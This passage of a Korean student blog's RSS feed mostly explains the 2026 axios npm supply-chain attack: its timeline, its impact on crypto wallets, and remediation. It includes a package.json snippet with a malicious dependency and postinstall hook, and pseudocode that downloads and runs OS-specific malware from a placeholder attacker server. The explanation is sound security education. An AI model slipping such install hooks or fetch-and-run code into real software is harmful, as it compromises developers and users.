loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;730&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;730&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;</description>
      <category> 콘치즈 자격증 스프</category>
      <author>곰젤리마스터</author>
      <guid isPermaLink="true">https://gummybearsong.tistory.com/19</guid>
      <comments>https://gummybearsong.tistory.com/19#entry19comment</comments>
      <pubDate>Wed, 6 May 2026 13:16:23 +0900</pubDate>
    </item>
    <item>
      <title>2026 최신 보안 이슈 - AXIOS 침해사고 발생</title>
      <link>https://gummybearsong.tistory.com/18</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요 여러분?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;210&quot; data-origin-height=&quot;210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NWHJU/dJMcabYphSm/aKKKNt0yaWoaknF6jrLF41/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NWHJU/dJMcabYphSm/aKKKNt0yaWoaknF6jrLF41/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NWHJU/dJMcabYphSm/aKKKNt0yaWoaknF6jrLF41/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNWHJU%2FdJMcabYphSm%2FaKKKNt0yaWoaknF6jrLF41%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;210&quot; height=&quot;210&quot; data-origin-width=&quot;210&quot; data-origin-height=&quot;210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오랜만에 돌아온 포스팅입니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅎㅅㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간고사가 끝나니 공부가 손에 잡히질 않더군요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(시험공부를 열심히 한 것도 아닌데 왜?)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예 아무튼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 금년 3월 31일에 발생한 보안 이슈를 알려드리려고 왔답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비록 2달이 지난 지금이지만요....ㅎㅎ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;Axios npm 패키지 공급망 공격&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 Axios가 뭐길래 ?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Axios란 웹사이트와 서버 사이에 데이터를 연결해주는 매개체입니다!&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Axios가 하는 일&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;1. 서버에 정보 받아오는 HTTP요청을 보냄➡️Axios가 그 요청을 들고 서버로 감!2. 서버에서 데이터를 줄 땐 보통 텍스트로 줌 ➡️하지만 우리가 사용하기엔 불편➡️Axios는 이걸 받자마자 사용하기 편리한 객체의 형태로 전달함 (Json자동변환)&lt;br /&gt;3. Axios는 데이터 가져올 때까지 기다리라고 약속 (Promise 기반) ➡️데이터 올 때까지 다른 일 하다가, 데이터가 도착하면 then이나 await으로 받아서 화면에 뿌림&lt;br /&gt;4. 전달하기 전에 미리 로그인 여부나 데이터에 이상한 게 섞이지 않았는지 미리 검사하는 기능도 있음 !&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 마디로, 자바스크립트로 서버와 통신할 때 편하고 안전하게 데이터를 주고 받을 수 있도록 돕는 도구!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;621&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmeWUo/dJMcah5oEJm/rO3o4yyM4UCLMGaoKh0vYk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmeWUo/dJMcah5oEJm/rO3o4yyM4UCLMGaoKh0vYk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmeWUo/dJMcah5oEJm/rO3o4yyM4UCLMGaoKh0vYk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmeWUo%2FdJMcah5oEJm%2FrO3o4yyM4UCLMGaoKh0vYk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;329&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;621&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사건의 전반적인 이해를 돕기 위해 뉴스부터 보실까요?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=COy4eTg-42Y&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.youtube.com/watch?v=COy4eTg-42Y&lt;/a&gt;&lt;/p&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=COy4eTg-42Y&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/cBPKqZ/dJMb8Qep4K1/k1JhTKVxQ4HJmKXkue5DrK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=268_134_452_336,https://scrap.kakaocdn.net/dn/bHKfjg/dJMb8UHS4UF/IRag0qXtjQP7DUDPw3a0N1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=268_134_452_336,https://scrap.kakaocdn.net/dn/oN7Ga/dJMb83SmO5t/onLJO87NS5XiLkrtpAJey1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=268_134_452_336&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;[이 시각 세계] 북한 배후 &quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/COy4eTg-42Y&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;범인으로 지목당한 것은 다름아닌 북한...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;북한 ... 정말 의외지만 해킹강국입니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;북한의 유명한 라자루스라는 해킹그룹도 있고요&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사파이어 슬릿이라는 그룹도 있답니다 (이건 나중에 한번 다뤄보겠습니다)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;흠 영어 지독히도 싫어하면서 왜 팀명은 간지나는 영어로 지었냐&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;북한의 해커들은 취약점만 찾는 것이 아니라 타겟에게 사회공학적 기법을 사용해서 해킹하는 것으로도 유명합니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이번 사건 또한 라자루스 혹은 사파이어 슬릿의 소행으로 추정되는데요 !&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;관리자의 이메일 주소를 자기네들이 제어하는 주소로 바꿔치기하면서 본격적인 작업에 들어갔답니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778028870514&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity&quot; data-og-description=&quot;Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analys&quot; data-og-host=&quot;www.stepsecurity.io&quot; data-og-source-url=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot; data-og-url=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/FrpRf/dJMb8QMfV0v/Jzde1FdFDGEamPd8LCfuFK/img.png?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/jWepq/dJMb8QMfV0u/hN5EQ9IgPkzFkPnYJOQho1/img.png?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/tMbD6/dJMb8XR9Edk/CrqlibQYwck6MgE4ZWCBI1/img.png?width=2281&amp;amp;height=3830&amp;amp;face=0_0_2281_3830&quot;&gt;&lt;a href=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/FrpRf/dJMb8QMfV0v/Jzde1FdFDGEamPd8LCfuFK/img.png?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/jWepq/dJMb8QMfV0u/hN5EQ9IgPkzFkPnYJOQho1/img.png?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/tMbD6/dJMb8XR9Edk/CrqlibQYwck6MgE4ZWCBI1/img.png?width=2281&amp;amp;height=3830&amp;amp;face=0_0_2281_3830');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Hijacked maintainer account used to publish poisoned axios releases including 1.14.1 and 0.30.4. The attacker injected a hidden dependency that drops a cross platform RAT. We are actively investigating and will update this post with a full technical analys&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.stepsecurity.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;공격 타임라인&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;출처 : Step Security&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;655&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mB7XB/dJMcaad8cHx/jdP1Ir96aTZtkGXLup22xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mB7XB/dJMcaad8cHx/jdP1Ir96aTZtkGXLup22xK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mB7XB/dJMcaad8cHx/jdP1Ir96aTZtkGXLup22xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmB7XB%2FdJMcaad8cHx%2FjdP1Ir96aTZtkGXLup22xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;639&quot; height=&quot;655&quot; data-origin-width=&quot;639&quot; data-origin-height=&quot;655&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 axios 패키지 안에 직접 악성 코드를 넣은 것이 아니라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지의 설정 파일인 package.json을 이용해서 공격한 것!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 1. 공격 파일 설치&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778029263667&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;dependencies&quot;: {
    &quot;plain-crypto-js&quot;: &quot;^0.1.7&quot;  // &amp;lt;--- 이게 바로 악성 패키지!
  },
  &quot;scripts&quot;: {
    &quot;postinstall&quot;: &quot;node setup.js&quot; // &amp;lt;--- 설치 끝나면 바로 실행
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2. OS 공격&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동 실행된 setup.js가 컴퓨터의 OS를 파악하고, 각 OS에 맞는 멀웨어 다운&lt;/p&gt;
&lt;pre id=&quot;code_1778029330195&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 공격 코드의 로직
const os = require('os');
const platform = os.platform(); // 'win32', 'darwin(mac)', 'linux' 중 하나

if (platform === 'win32') {
    downloadAndRun('http://공격자서버/win_malware.exe');
} else if (platform === 'darwin') {
    downloadAndRun('http://공격자서버/mac_malware');
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3. 증거 인멸&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격이 성공하면, 자기 자신을 삭제하거나 정상적인 파일로 위장하여 이름 바꿈 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;피해 규모&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 코드가 포함된 버전이 노출된 3시간동안 무려 전 세계적으로 약 50만 건 이상의 다운로드가 발생한 것으로 추정된다고 합니다!...ㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 공격을 통해 공격자들이 얻을 수 있는 것들이 실질적으로 뭔지 궁금하시죠?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리해드리자면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 가상화폐 혹은 금융정보⭐⭐⭐&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 공격은 가상화폐 및 금융정보 탈취가 가장 큰 목적이라고 추정된다고 하는데요,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;악성 코드가 실행되면 특정 키워드가 들어간 파일을 우선순위로 찾아냅니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들면, key.pem 이나 seed.txt, wallet.json같은 파일들이요 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 데이터를 저장하는 내부 폴더 속에 암호화로 저장된 지갑 데이터를 통째로 복사해 가는거죠 !&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 서버 통제권&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 기밀 정보 및 지식 재산&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 다음 공격을 위한 이전 단계가 될 수 있음...ㄷㄷ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머 이 정도입니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무시무시하죠??&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;해결방안&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정말 다행히, 사건이 터진지 몇 분만에 해결되었답니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요~ 보안전문가 만세~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Socket Security같은 보안 자동화 도구들이 악성 코드가 업로드 된 지 6분 만에&amp;nbsp; 감지하였고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보고를 받은 npm운영팀이 해당 악성 코드가 포함된 버전을 npm저장소에서 삭제하였답니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 메인 관리자 계정을 회수하고, 이메일 주소 등을 다시 정상화 시켰다구 해요...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사건 이후로 거대한 패키지 관리자들에게는 2단계 인증이 선택이 아닌 필수 사항으로 적용되었고, axios가 의존하고 있던 다른 패키지들도 싹 뒤져서 문제가 없는지 파악했답니다 !!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 npm저장소에서 삭제되었다고 해서 로컬의 사용자 컴퓨터/서버까지 오염된 여부를 파악하긴 힘들기에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자들에게 다음 조치를 취할 것을 권고했어요 !&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. 컴퓨터 저장된 오염된 캐시 삭제&lt;br /&gt;2. package-lock.json 수정 : 악성 버전 번호가 기록된 잠금 파일을 수정하고 정상 버전으로 고정&lt;br /&gt;3. 서버 검사 : 이미 실행된 서버는 밀어버리거나, 악성프로세스 떠 있는지 확인 !&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;알아보며 느낀 점&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요새 가상화폐 혹은 금융거래시장이 점차 커지고있는만큼,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해킹을 통해서 털릴 수 있는 가장 취약한 정보 또한 가상화폐 및 금융거래 정보가 되었잖아요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 ...&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 거래를 할 때마다 사용할 물리적인 디스크를 만드는 것이 어떨까라는 생각을 해봤답니다?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마치 공인인증서를 주로 USB에 담아두는 것 처럼요 ..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물리적인 행동까진 해킹할 수 없을테니까여.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;➡️라고 생각했는데 이미 그런 게 있다고 하네요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시나 ... 나만 이런 생각을 하는 게 아니었다. (당연하지 세상엔 나보다 월등히 똑똑한사람들이 얼마나많은데)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 뭐가 있는지 간략하게만 알아볼까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 하드웨어 월렛&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://shop.ledger.com/?r=ca962bcb2850&amp;amp;gad_source=1&amp;amp;gad_campaignid=23759310935&amp;amp;gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&amp;amp;gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://shop.ledger.com/?r=ca962bcb2850&amp;amp;gad_source=1&amp;amp;gad_campaignid=23759310935&amp;amp;gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&amp;amp;gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1778031077075&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Ledger - certified secure crypto Hardware Wallets | Ledger&quot; data-og-description=&quot;Ledger builds the world's leading certified secure crypto asset hardware wallets. Optimal protection for your BTC, ETH, XRP and more - in your full control.&quot; data-og-host=&quot;shop.ledger.com&quot; data-og-source-url=&quot;https://shop.ledger.com/?r=ca962bcb2850&amp;amp;gad_source=1&amp;amp;gad_campaignid=23759310935&amp;amp;gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&amp;amp;gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE&quot; data-og-url=&quot;https://shop.ledger.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/CdVRi/dJMb88e4APs/arnkrhhRA3kCt9keP6cQkk/img.jpg?width=1200&amp;amp;height=640&amp;amp;face=0_0_1200_640&quot;&gt;&lt;a href=&quot;https://shop.ledger.com/?r=ca962bcb2850&amp;amp;gad_source=1&amp;amp;gad_campaignid=23759310935&amp;amp;gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&amp;amp;gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://shop.ledger.com/?r=ca962bcb2850&amp;amp;gad_source=1&amp;amp;gad_campaignid=23759310935&amp;amp;gbraid=0AAAABDVlh7LZQd6BTi7qMqtlkHcgJvOnx&amp;amp;gclid=CjwKCAjwqubPBhBOEiwAzgZX2sxqeMNlqgGxXBERooKhC1B-R5sSp-087NuWGIX4R7-HTUsthBdHuBoCwO8QAvD_BwE&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/CdVRi/dJMb88e4APs/arnkrhhRA3kCt9keP6cQkk/img.jpg?width=1200&amp;amp;height=640&amp;amp;face=0_0_1200_640');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Ledger - certified secure crypto Hardware Wallets | Ledger&lt;/p&gt;
